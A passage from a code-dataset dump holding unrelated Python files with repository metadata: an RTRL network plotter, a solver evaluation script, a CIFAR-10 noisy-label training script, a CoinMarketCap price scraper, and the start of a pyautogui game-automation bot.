2:(state['nx']+2)]\n        axes_positions['u_t'] = gs[(state['nx']+3):(state['nx']+3+state['nu']),\n                                            0]\n        axes_positions['x_tp1'] = gs[2:(state['nx']+2),\n                                    state['nx']+3]\n        axes_positions['W_yx'] = gs[2:(state['nx']+2),\n                                (state['nx']+5):(state['nx']+5 + state['ny'])]\n        #                        \n        axes_positions['b_y'] = gs[(state['nx']+3),\n                                       (state['nx']+5):(state['nx']+5 + state['ny'])]\n        axes_positions['y_tp1'] = gs[(state['nx']+5),\n                                        (state['nx']+5):(state['nx']+5 + state['ny'])]\n        return axes_positions\n    def CreateImages(self):\n        super(RTRL_Weight_Plotter,self).CreateImages()\n        self.cbar=plt.colorbar(self.images['W_xx'],ax=self.axeses.values())\n\nfrom collections import defaultdict\n\nclass RTRL_Gradients_Plotter(RTRL_Plotter_base):\n    def __init__(self,gradient_clim=None):\n        super(RTRL_Gradients_Plotter,self).__init__()\n        if isinstance(gradient_clim,list):\n            gradient_clim = np.array(gradient_clim)\n        self.gradient_clim = gradient_clim\n    def RetrieveState(self,rnn):\n        S = {}\n        S['nx'] = rnn.nx\n        S['nu'] = rnn.nu\n        S['ny'] = rnn.ny\n        weight_gradients = rnn.GetWeightGradients()\n#        S.update(weight_gradients)\n        directions = defaultdict(lambda : _Direction.normal)\n        directions['db_x'] = _Direction.horizontal\n        directions['db_y'] = _Direction.horizontal\n        for k,v in weight_gradients.iteritems():\n            S[k] = _Plottable(v,directions[k],self.gradient_clim)\n        self.state = S\n        \n    def _GetAxesPositions(self):\n        state = self.state\n        temp = max([state['nu'],3])\n        gs = gridspec.GridSpec(1 + state['nx'] + temp + 2, state['nx']+2+state['ny']*2 + 2)\n        \n        axes_positions = {}\n        axes_positions['dW_xx'] = gs[2:(state['nx']+2),\n                                            2:(state['nx']+2)]\n        axes_positions['dW_xu'] = gs[(state['nx']+3):(state['nx']+3+state['nu']),\n                                                    2:(state['nx']+2)]\n        axes_positions['db_x'] = gs[0,\n                                2:(state['nx']+2)]\n        axes_positions['dW_yx'] = gs[2:(state['nx']+2),\n                                (state['nx']+5):(state['nx']+5 + state['ny'])]\n        #                        \n        axes_positions['db_y'] = gs[(state['nx']+3),\n                                       (state['nx']+5):(state['nx']+5 + state['ny'])]\n        return axes_positions\n    def _CalcCommonCLim(self):\n        cmin = np.inf\n        cmax = -np.inf\n        for k in self.images.iterkeys():\n            if k == 'db_y':\n                continue\n            this_max = self.state[k].value.max()\n            this_min = self.state[k].value.min()\n            if this_max > cmax:\n                cmax = this_max\n            if this_min < cmin:\n                cmin = this_min\n        max_abs = max(abs(cmin),abs(cmax))\n        return np.array([-max_abs,max_abs],dtype=float)\n    def _UpdateAllClims(self):\n        for k,I in self.images.iteritems():\n            I.set_clim(self.common_clim)\n    def _UpdateColorBar(self):\n        #self.cbar.\n        #probably happens automatically\n        pass\n    def CreateImages(self):\n        super(RTRL_Gradients_Plotter,self).CreateImages()\n        if self.gradient_clim is None:\n            self.common_clim = self._CalcCommonCLim()\n            self._UpdateAllClims()\n        self.cbar=plt.colorbar(self.images['dW_xx'],ax=self.axeses.values())\n    def UpdateImages(self):\n        super(RTRL_Gradients_Plotter,self).UpdateImages(False)\n        if self.gradient_clim is None:\n            self.common_clim = self._CalcCommonCLim()\n            self._UpdateAllClims()\n            self._UpdateColorBar()\n        self.fig.canvas.draw_idle()\n\n\nif __name__ == \"__main__\":\n#    RP = RTRL_Weight_Plotter()\n    RP = RTRL_Gradients_Plotter()\n    from rtrl1 import RTRL1\n    rnn1 = RTRL1()\n    #rnn1.BuildNetwork()\n    \n    import cPickle\n    with open('well_trained_nx8.rtrl1','rb') as f:\n        state = cPickle.load(f)\n    rnn1.SetState(state)\n    rnn1.BuildNetwork()\n    RP.RetrieveState(rnn1)\n    RP.CreateAxes()\n    RP.CreateImages()\n\n", "repo_name": "iliar1987/RealTimeRecurrentLearning2", "sub_path": "RTRL_plot.py", "file_name": "RTRL_plot.py", "file_ext": "py", "file_size_in_byte": 9354, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.copy", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 158, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 177, "usage_type": "name"}, {"api_name": "numpy.inf", "line_number": 193, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 194, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 218, "usage_type": "name"}, {"api_name": "rtrl1.RTRL1", "line_number": 232, "usage_type": "call"}, {"api_name": "cPickle.load", "line_number": 237, "usage_type": "call"}]}
{"seq_id": "6079856418", "text": "from pathlib import Path\nfrom bokeh.io import export_png\nfrom bokeh.layouts import gridplot\nimport permutandis\nfrom permutandis.evaluation.rearrange_evaluation import  RearrangeEvaluation\n\nfrom permutandis.solvers.mcts import MCTSSolver\nfrom permutandis.solvers.baseline import BaselineSolver\n\nfrom distributed import Client, LocalCluster\n\ndef make_client():\n    # Change this if you have access to a cluster and you want to\n    # run evaluation\n    # See https://jobqueue.dask.org/en/latest/\n    cluster = LocalCluster()\n    client = Client(cluster)\n\ndef evaluate_solvers(results_path):\n    rearrange_eval = RearrangeEvaluation()\n\n    # Sample random problems\n    # In the paper, we use n_max_objects=37 and n_configs=100\n    rearrange_eval.sample_problems(\n        n_min_objects=1, n_max_objects=35, n_configs=10,\n        workspace=((0.25, -0.25), (0.75, 0.25)), radius=0.0375,\n        timeout=2.0, n_max_iter=50)\n\n    # Evaluate MCTS\n    mcts_solver = MCTSSolver(nu=1.0, max_iterations=1e5)\n    rearrange_eval.eval_solver(mcts_solver, method_name='mcts')\n\n    # Evaluate baseline\n    baseline_solver = BaselineSolver()\n    rearrange_eval.eval_solver(baseline_solver, method_name='baseline')\n\n    # Save results\n    rearrange_eval.save(results_path)\n    print(\"Wrote results to\", results_path)\n\n    return rearrange_eval\n\ndef make_plots(results_path):\n    print(\"Reading results from\", results_path)\n    rearrange_eval = RearrangeEvaluation.from_json(results_path)\n    figures = rearrange_eval.make_plots(methods=['mcts', 'baseline'])\n    plot = gridplot([figures], toolbar_location=None)\n    plot_path = results_path.parent / 'results_plots.png'\n    export_png(plot, filename=plot_path)\n    print(\"Saved plot to\", plot_path)\n\nif __name__ == '__main__':\n    make_client()\n    data_dir = Path(permutandis.__file__).parent.parent / 'data'\n    results_path = data_dir / 'eval_results.json'\n    evaluate_solvers(results_path)\n    make_plots(results_path)\n", "repo_name": "ylabbe/permutandis", "sub_path": "permutandis/examples/evaluate_solvers.py", "file_name": "evaluate_solvers.py", "file_ext": "py", "file_size_in_byte": 1953, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "71", "api": [{"api_name": "distributed.LocalCluster", "line_number": 16, "usage_type": "call"}, {"api_name": "distributed.Client", "line_number": 17, "usage_type": "call"}, {"api_name": "permutandis.evaluation.rearrange_evaluation.RearrangeEvaluation", "line_number": 20, "usage_type": "call"}, {"api_name": "permutandis.solvers.mcts.MCTSSolver", "line_number": 30, "usage_type": "call"}, {"api_name": "permutandis.solvers.baseline.BaselineSolver", "line_number": 34, "usage_type": "call"}, {"api_name": "permutandis.evaluation.rearrange_evaluation.RearrangeEvaluation.from_json", "line_number": 45, "usage_type": "call"}, {"api_name": "permutandis.evaluation.rearrange_evaluation.RearrangeEvaluation", "line_number": 45, "usage_type": "name"}, {"api_name": "bokeh.layouts.gridplot", "line_number": 47, "usage_type": "call"}, {"api_name": "bokeh.io.export_png", "line_number": 49, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 54, "usage_type": "call"}, {"api_name": "permutandis.__file__", "line_number": 54, "usage_type": "attribute"}]}
{"seq_id": "42058566062", "text": "import torch\nfrom torch.utils import data\nfrom torch import nn\nfrom torch.optim import lr_scheduler\nimport os\nimport time\nfrom tqdm import tqdm\nimport numpy as np\nfrom PIL import Image, ImageDraw\nimport argparse\nimport os\nfrom datasets.cifar10_noise import get_datasets\nimport random\nimport torch.backends.cudnn as cudnn\nfrom datasets.dataloader import Dateloader\nfrom network.models import create_model\nimport torch.optim as optim\nimport logging\nimport logging.config\nfrom lib.utils import AverageMeter,accuracy,adjust_learning_rate\nfrom sklearn.mixture import GaussianMixture\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\nparser = argparse.ArgumentParser(description='classification')\n\n# Model path\nparser.add_argument('--exp_name', help='Where to store logs and models')\nparser.add_argument('--resume', default=\"/data/glusterfs_cv_04/11121171/AAAI_EAST/Baseline/EAST_v1/model_save/model_epoch_826.pth\", type=str,\n                    help='Checkpoint state_dict file to resume training from')\nparser.add_argument('--data_path', default='/data/glusterfs_cv_04/11121171/data/CIFAR/CIFAR10-noise', type=str,\n                    help='the test image of target domain ')\nparser.add_argument('--workspace', default=\"/data/glusterfs_cv_04/11121171/AAAI_NL/Baseline_classification/classification_noise\", type=str,\n                    help='save model')\nparser.add_argument('--Backbone', type=str, default=\"efficientnet-b0\", help='FeatureExtraction stage. '\n                                                                     'ResNet18|ResNet34|ResNet50'\n                                                                     'MobileNet_v1|MobileNet_v2|Mobilenetv3'\n                                                                     'vgg11|vgg16|vgg19'\n                                                                     'efficientnet-b0|efficientnet-b1'\n                                                                     'shufflenet_v2_x0_5|shufflenet_v2_x1_0|shufflenet_v2_x1_5'\n                                                                      \"inception_v3\"\n                                                                      \"mnasnet0_5|\"\n                                                                      \"densenet121\"\n                                                                      \"ResNeXt29_32x4d|ResNeXt29_2x64d\"\n                                                                        )\nparser.add_argument('--Datasets', type=str, default=\"cifar10\", help=' ImageNet|Clothing|CIFAR10|CIFAR100')\nparser.add_argument('--num_classes', type=int, default=10, help=' classification')\nparser.add_argument('--rate', type=float, default=0.4, help='noise ratio')\nparser.add_argument('--noise_mode', default='sym')\nparser.add_argument('--manualSeed', type=int, default=222, help='for random seed setting')\n\n\n# Training strategy\nparser.add_argument('--epoch_iter', default=300, type = int,\n                    help='the max epoch iter')\nparser.add_argument('--batch_size', default=256, type = int,\n                    help='batch size of training')\nparser.add_argument('--lr', '--learning-rate', default=0.01, type=float,\n                    help='initial learning rate')\nparser.add_argument('--momentum', default=0.9, type=float,\n                    help='Momentum value for optim')\nparser.add_argument('--weight_decay', default=5e-4, type=float,\n                    help='Weight decay for SGD')\nparser.add_argument('--gamma', default=0.1, type=float,\n                    help='Gamma update for SGD')\nparser.add_argument('--num_workers', default=10, type=int,\n                    help='Number of workers used in dataloading')\n\nopt = parser.parse_args()\n\n\ndef train(opt):\n    \"\"\" dataset preparation \"\"\"\n    print(\"dataset preparation ...\")\n    logging.info(\"dataset preparation ...\")\n    # dataset = Dateloader(opt.data_path,mode=\"train\",noise_mode=opt.noise_mode, rate=opt.rate,dataset = opt.Datasets,\n    #                      noise_file='%s/%.1f_%s.json' % (f'./workspace/{opt.exp_name}', opt.rate, opt.noise_mode),\n    #                      right_file= '%s/right.json' % (f'./workspace/{opt.exp_name}'))\n\n    dataset = get_datasets(opt.data_path,opt.rate,noise_mode=\"sym\",dataset = 'cifar10',\n                           noise_file='%s/%.1f_%s.json' % (f'./workspace/{opt.exp_name}', opt.rate, opt.noise_mode),\n                         right_file= '%s/right.json' % (f'./workspace/{opt.exp_name}'),mode=\"train\")\n\n    data_loader = torch.utils.data.DataLoader(\n        dataset,\n        batch_size=opt.batch_size,\n        shuffle=True,\n        num_workers=opt.num_workers,\n        drop_last=True,\n        pin_memory=True)\n\n    dataset_val = get_datasets(opt.data_path,opt.rate,noise_mode=\"sym\",dataset='cifar10',mode=\"test\")\n\n    # dataset_val = Dateloader(opt.data_path,mode=\"test\",noise_mode=opt.noise_mode, rate=opt.rate,dataset=opt.Datasets)\n    data_loader_val = torch.utils.data.DataLoader(\n        dataset_val,\n        batch_size=opt.batch_size,\n        shuffle=False,\n        num_workers=opt.num_workers)\n\n    print('| Building net...')\n    logging.info('| Building net...')\n    model = create_model(opt.Backbone,opt.num_classes)\n    model = torch.nn.DataParallel(model)\n    cudnn.benchmark = True\n\n    optimizer = optim.SGD(model.parameters(), lr=opt.lr, momentum=0.9, weight_decay=opt.weight_decay)\n    lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer,\n                                    milestones =[80, 170, 250, 330, 450], gamma=0.2)\n    CEloss = nn.CrossEntropyLoss()\n    # conf_penalty = NegEntropy()\n\n    best_acc = 40\n    for epoch in range(opt.epoch_iter):\n        model.train()\n        lr_scheduler.step()\n        epoch_loss = 0\n        epoch_time = time.time()\n        for i, (image,gt) in enumerate(data_loader):\n\n            start_time = time.time()\n            inputs, labels = image.cuda(), gt.cuda()\n            optimizer.zero_grad()\n            outputs = model(inputs)\n            loss = CEloss(outputs, labels)\n            epoch_loss += loss.item()\n            loss.backward()\n            optimizer.step()\n            print('Epoch is [{}/{}], mini-batch is [{}/{}], time consumption is {:.8f}, batch_loss is {:.8f}'.format( \\\n                epoch + 1, opt.epoch_iter, i + 1, int(len(data_loader)), time.time() - start_time, loss.item()))\n            logging.info('Epoch is [{}/{}], mini-batch is [{}/{}], time consumption is {:.8f}, batch_loss is {:.8f}'.format( \\\n                epoch + 1, opt.epoch_iter, i + 1, int(len(data_loader)), time.time() - start_time, loss.item()))\n        if epoch>1:\n            validate(data_loader_val, model, CEloss)\n            best_acc = test(epoch,model,data_loader_val,best_acc)\n            model.train()\n        logging.info(\"----------------------------------------------------------\")\n        logging.info(\"                    best_acc: {:.3f}\".format(float(best_acc)))\n        logging.info(\"                    lr: {:.3f}\".format(float(optimizer.param_groups[0]['lr'])))\n        logging.info(\"----------------------------------------------------------\")\n        print('epoch_loss is {:.8f}, epoch_time is {:.8f}'.format(epoch_loss / int(len(data_loader)),time.time() - epoch_time))\n        logging.info('epoch_loss is {:.8f}, epoch_time is {:.8f}'.format(epoch_loss / int(len(data_loader)),\n                                                                         time.time() - epoch_time))\n        logging.info(time.asctime(time.localtime(time.time())))\n\ndef test(epoch,  model,val_loader,best_acc):\n    model.eval()\n    correct = 0\n    total = 0\n    with torch.no_grad():\n        for batch_idx, (inputs, targets) in tqdm(enumerate(val_loader)):\n            inputs, targets = inputs.cuda(), targets.cuda()\n            outputs = model(inputs)\n            _, predicted = torch.max(outputs, 1)\n\n            total += targets.size(0)\n            correct += predicted.eq(targets).cpu().sum().item()\n    acc = 100. * correct / total\n    logging.info(\"\\n| Validation\\t Net  Acc: %.2f%%\" % acc)\n    if acc > best_acc:\n        best_acc = acc\n        logging.info(\"best acc:  %.2f%%\"% best_acc)\n        logging.info('| Saving Best Net ...')\n        # torch.save(model.state_dict(), save_point)\n        torch.save(model.state_dict(), os.path.join('%s/%s/' % (opt.workspace, f'workspace/{opt.exp_name}'),\n                                                    f'{opt.Backbone}-{opt.Datasets}' + '.pth'))\n    return best_acc\n\ndef validate(val_loader, model, criterion):\n    batch_time = AverageMeter()\n    losses = AverageMeter()\n    top1 = AverageMeter()\n    top5 = AverageMeter()\n\n    # switch to evaluate mode\n    model.eval()\n\n    end = time.time()\n    for i, (input, target) in enumerate(val_loader):\n        target = target.cuda()\n        input = input.cuda()\n        with torch.no_grad():\n            # compute output\n            output = model(input)\n            loss = criterion(output, target)\n\n            # measure accuracy and record loss\n            prec1, prec5 = accuracy(output.data, target, topk=(1, 5))\n            losses.update(loss.item(), input.size(0))\n            top1.update(prec1[0], input.size(0))\n            top5.update(prec5[0], input.size(0))\n\n            # measure elapsed time\n            batch_time.update(time.time() - end)\n            end = time.time()\n\n    logging.info(\"    ---------------------------------------------------------------\")\n    logging.info(' * Prec@1 {top1.avg:.3f} Prec@5 {top5.avg:.3f}'.format(top1=top1, top5=top5))\n\n    return top1.avg, top5.avg\n\nif __name__ == '__main__':\n\n\n    if not opt.exp_name:\n        opt.exp_name = f'{opt.Backbone}-{opt.Datasets}'\n        opt.exp_name += f'-Seed{opt.manualSeed}'\n        # print(opt.exp_name)\n\n    os.makedirs(f'./workspace/{opt.exp_name}', exist_ok=True)\n\n    # 通过下面的方式进行简单配置输出方式与日志级别\n    logging.basicConfig(\n        filename=os.path.join(f'./workspace/{opt.exp_name}',\"logger.log\"),\n        level=logging.INFO,filemode='w')\n\n    logging.debug('debug message')\n    logging.info('info message')\n    logging.error('error message')\n    logging.critical('critical message')\n\n\n    \"\"\" Seed and GPU setting \"\"\"\n    # print(\"Random Seed: \", opt.manualSeed)\n    random.seed(opt.manualSeed)\n    np.random.seed(opt.manualSeed)\n    torch.manual_seed(opt.manualSeed)\n    torch.cuda.manual_seed(opt.manualSeed)\n\n    cudnn.benchmark = True\n    cudnn.deterministic = True\n    opt.num_gpu = torch.cuda.device_count()\n\n\n    if opt.num_gpu > 1:\n        logging.info('------ Use multi-GPU setting ------')\n        logging.info('if you stuck too long time with multi-GPU setting, try to set --workers 0')\n        # check multi-GPU issue https://github.com/clovaai/deep-text-recognition-benchmark/issues/1\n        opt.workers = opt.num_workers * opt.num_gpu\n        opt.batch_size = opt.batch_size * opt.num_gpu\n\n    train(opt)\n\n\n", "repo_name": "weijiawu/Classification_with_Cleanlab", "sub_path": "Train_CIFAR.py", "file_name": "Train_CIFAR.py", "file_ext": "py", "file_size_in_byte": 10834, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 22, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 74, "usage_type": "call"}, {"api_name": "datasets.cifar10_noise.get_datasets", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 83, "usage_type": "attribute"}, {"api_name": "datasets.cifar10_noise.get_datasets", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 94, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 101, "usage_type": "call"}, {"api_name": "network.models.create_model", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn.DataParallel", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 106, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler", "line_number": 107, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.MultiStepLR", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 107, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 109, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.step", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler", "line_number": 115, "usage_type": "name"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 120, "usage_type": "call"}, {"api_name": "time.time", "line_number": 129, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 130, "usage_type": "call"}, {"api_name": "time.time", "line_number": 131, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 136, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 137, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 138, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 139, "usage_type": "call"}, {"api_name": "time.time", "line_number": 140, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 141, "usage_type": "call"}, {"api_name": "time.time", "line_number": 142, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 143, "usage_type": "call"}, {"api_name": "time.asctime", "line_number": 143, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 143, "usage_type": "call"}, {"api_name": "time.time", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 149, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 153, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 158, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 161, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "lib.utils.AverageMeter", "line_number": 169, "usage_type": "call"}, {"api_name": "lib.utils.AverageMeter", "line_number": 170, "usage_type": "call"}, {"api_name": "lib.utils.AverageMeter", "line_number": 171, "usage_type": "call"}, {"api_name": "lib.utils.AverageMeter", "line_number": 172, "usage_type": "call"}, {"api_name": "time.time", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 181, "usage_type": "call"}, {"api_name": "lib.utils.accuracy", "line_number": 187, "usage_type": "call"}, {"api_name": "time.time", "line_number": 193, "usage_type": "call"}, {"api_name": "time.time", "line_number": 194, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 196, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 197, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 209, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path", "line_number": 213, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 214, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 216, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 217, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 218, "usage_type": "call"}, {"api_name": "logging.critical", "line_number": 219, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 225, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 226, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 227, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 229, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 229, "usage_type": "name"}, {"api_name": "torch.backends.cudnn.deterministic", "line_number": 230, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 230, "usage_type": "name"}, {"api_name": "torch.cuda.device_count", "line_number": 231, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 231, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 235, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 236, "usage_type": "call"}]}
{"seq_id": "31352274593", "text": "#                   [   Plague Dr.  ]\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - #\r\nfrom bs4 import BeautifulSoup as bs\r\nimport requests as rq\r\nfrom .plPlugins import Counter\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - #\r\ncoinmarketcap = 'https://coinmarketcap.com'\r\npages = '/?page='\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - #\r\ndef collection_dict(*data) -> dict:\r\n    d = {}\r\n    for dt in data: d.update(dt)\r\n    return d\r\n\r\ndef _2float(text: str) -> float: \r\n    return float(text.replace('.','00'))\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - #\r\nclass getCoin:\r\n    def __init__(self, *, site: str = coinmarketcap, page: int = None, loop: bool = False):\r\n        if not loop:\r\n            self.update(site=site, page=page)\r\n    def length(self) -> int:\r\n        return len(self.tags)\r\n    def update(self, *, site: str = coinmarketcap, page: int = None) -> None:\r\n        self.url = site if page == None else site+pages+str(page)\r\n        self.code = rq.get(self.url)\r\n        self.site = bs(self.code.text, 'html.parser')\r\n        self.tags = self.site.select('.h7vnx2-2 > tbody:nth-child(3) > tr')\r\n    def get_name(self, index: int) -> str:\r\n        name = self.tags[index].select('td:nth-child(3)')\r\n        tag_p = name[0].find_all('p')\r\n        if tag_p == []:\r\n            name = self.tags[index].select('td:nth-child(3)')[0].find_all('span', class_='')[0].text\r\n        else:\r\n            name = tag_p[0].text\r\n        return name.lower().replace(' ','_')\r\n    def get_price(self, index: int) -> float:\r\n        name = self.tags[index].select('td:nth-child(4)')[0]\r\n        return name.span.text[1:] #_2float(name.span.text[1:].replace(',', ''))\r\n    def get_dict(self) -> dict:\r\n        data = {}\r\n        for coin_length in range(self.length()):\r\n            data[self.get_name(coin_length)] = self.get_price(coin_length)\r\n        return data\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - #\r\ndef split_coins(coins, num: int = 60) -> list:\r\n    pms = []\r\n    cntr = Counter()\r\n    c = 0\r\n    iterator = coins.get_dict().items() if type(coins) is getCoin else coins.items()\r\n    for i, v in iterator:\r\n        index = cntr.get_num()\r\n        if index%num==0:c+=1\r\n        if (c+1) >= len(pms): pms.append('')\r\n        pms[c] += f'{index} - {i}: `{v}$`\\n'\r\n    while pms.count(''): pms.remove('')\r\n    return pms\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - -  #", "repo_name": "arefmokhtari/plself", "sub_path": "scripts/coinmarketcap.py", "file_name": "coinmarketcap.py", "file_ext": "py", "file_size_in_byte": 2449, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "70", "api": [{"api_name": "requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 27, "usage_type": "call"}, {"api_name": "plPlugins.Counter", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "16783770009", "text": "import pyautogui,cv2,numpy as np,time,tkinter\r\nfrom tkinter import simpledialog\r\ndef ask_for_field_status():\r\n    return \"sow\"\r\n    root=tkinter.Tk()\r\n    root.withdraw()\r\n    return simpledialog.askstring(\"Input\",\"If fields are already sown enter: sow\\nelse enter: harvest\")\r\n\r\ndef check_ad(last_time):\r\n    if last_time==0:\r\n        return time.time(),1\r\n    else:\r\n        if time.time()-last_time>=300:\r\n            return time.time(),1\r\n        else:\r\n            return 0,0\r\n\r\ndef ask_for_wheat_count():\r\n    return 500\r\n    root=tkinter.Tk()\r\n    root.withdraw()\r\n    \r\n    top_level = tkinter.Toplevel(root)\r\n    top_level.title(\"Input\")\r\n    # top_level.attributes(\"-topmost\", True) \r\n    top_level.grab_set()\r\n    top_level.focus_force()\r\n\r\n    return simpledialog.askinteger(\"Input\",\"How much wheat you have\")\r\n    \r\ndef find_image(image_path):\r\n    template = cv2.imread(image_path)\r\n    # template = cv2.cvtColor(template, cv2.COLOR_RGB2BGR)\r\n    template = cv2.cvtColor(template, cv2.COLOR_BGR2GRAY)\r\n    screenshot = pyautogui.screenshot()\r\n    # screenshot = cv2.cvtColor(np.array(screenshot), cv2.COLOR_RGB2BGR)\r\n    screenshot = cv2.cvtColor(np.array(screenshot), cv2.COLOR_BGR2GRAY)\r\n    result = cv2.matchTemplate(screenshot, template, cv2.TM_CCOEFF_NORMED)\r\n    min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)\r\n    if(max_val<0.7):\r\n        return None\r\n    else:\r\n        top_left = max_loc\r\n        bottom_right = (top_left[0] + template.shape[1], top_left[1] + template.shape[0])\r\n        center_x = (top_left[0] + bottom_right[0]) // 2\r\n        center_y = (top_left[1] + bottom_right[1]) // 2\r\n\r\n        return (center_x,center_y)\r\n\r\ndef find_image_lp(image_path):\r\n    template = cv2.imread(image_path)\r\n\r\n    screenshot = pyautogui.screenshot()\r\n    screenshot = cv2.cvtColor(np.array(screenshot), cv2.COLOR_RGB2BGR)\r\n\r\n    result = cv2.matchTemplate(screenshot, template, cv2.TM_CCOEFF_NORMED)\r\n    min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)\r\n    top_left = max_loc\r\n    bottom_right = (top_left[0] + template.shape[1], top_left[1] + template.shape[0])\r\n    center_x = (top_left[0] + bottom_right[0]) // 2\r\n    center_y = (top_left[1] + bottom_right[1]) // 2\r\n    return (center_x,center_y)\r\n\r\ndef find_shop():\r\n    shop=None\r\n    while shop is None:\r\n        shop=find_image_lp(\"shop_unsold.png\")\r\n        if shop is None:\r\n            shop=find_image_lp(\"shop_sold.png\")\r\n    return shop\r\n\r\ndef calibrate_field(cur_op,start):\r\n    field_location=None\r\n    if 